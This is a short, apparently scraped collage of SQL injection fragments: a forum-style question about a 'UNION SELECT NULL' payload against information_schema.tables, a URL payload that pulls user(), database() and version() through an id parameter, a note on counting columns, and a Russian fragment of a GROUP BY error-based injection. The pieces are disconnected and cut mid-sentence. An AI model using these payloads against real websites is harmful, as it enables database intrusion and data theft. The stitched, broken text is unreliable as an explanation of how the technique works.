Union select null, null, null, null, null, null, null from information_schema.tables. for a small database containing three tables. this instruction is used in sql injection I tried it and it worked but I didn't really know how it works can somebody help me...
...SELECT NULL,NULL,NULL,version(),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL
Union select null, null, null, null, null, null, null from information_schema.tables. for a small database containing three tables.
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/index.php?id=null union all select 1,2,3,4,user(),6,database(),8,version(),10,11,12,1 3,14,15–. As you can see we selected values from the showing columns, what if we want to clean this up a bit, and put all of those selected values in one column?
Number of null-s on change between passed and failed queries is the one attacker looks for.
union select 2 union select 3)a group by x limit 1) --. Вывод имён колонок (MySQL >= 4.1 колонки NOT NULL).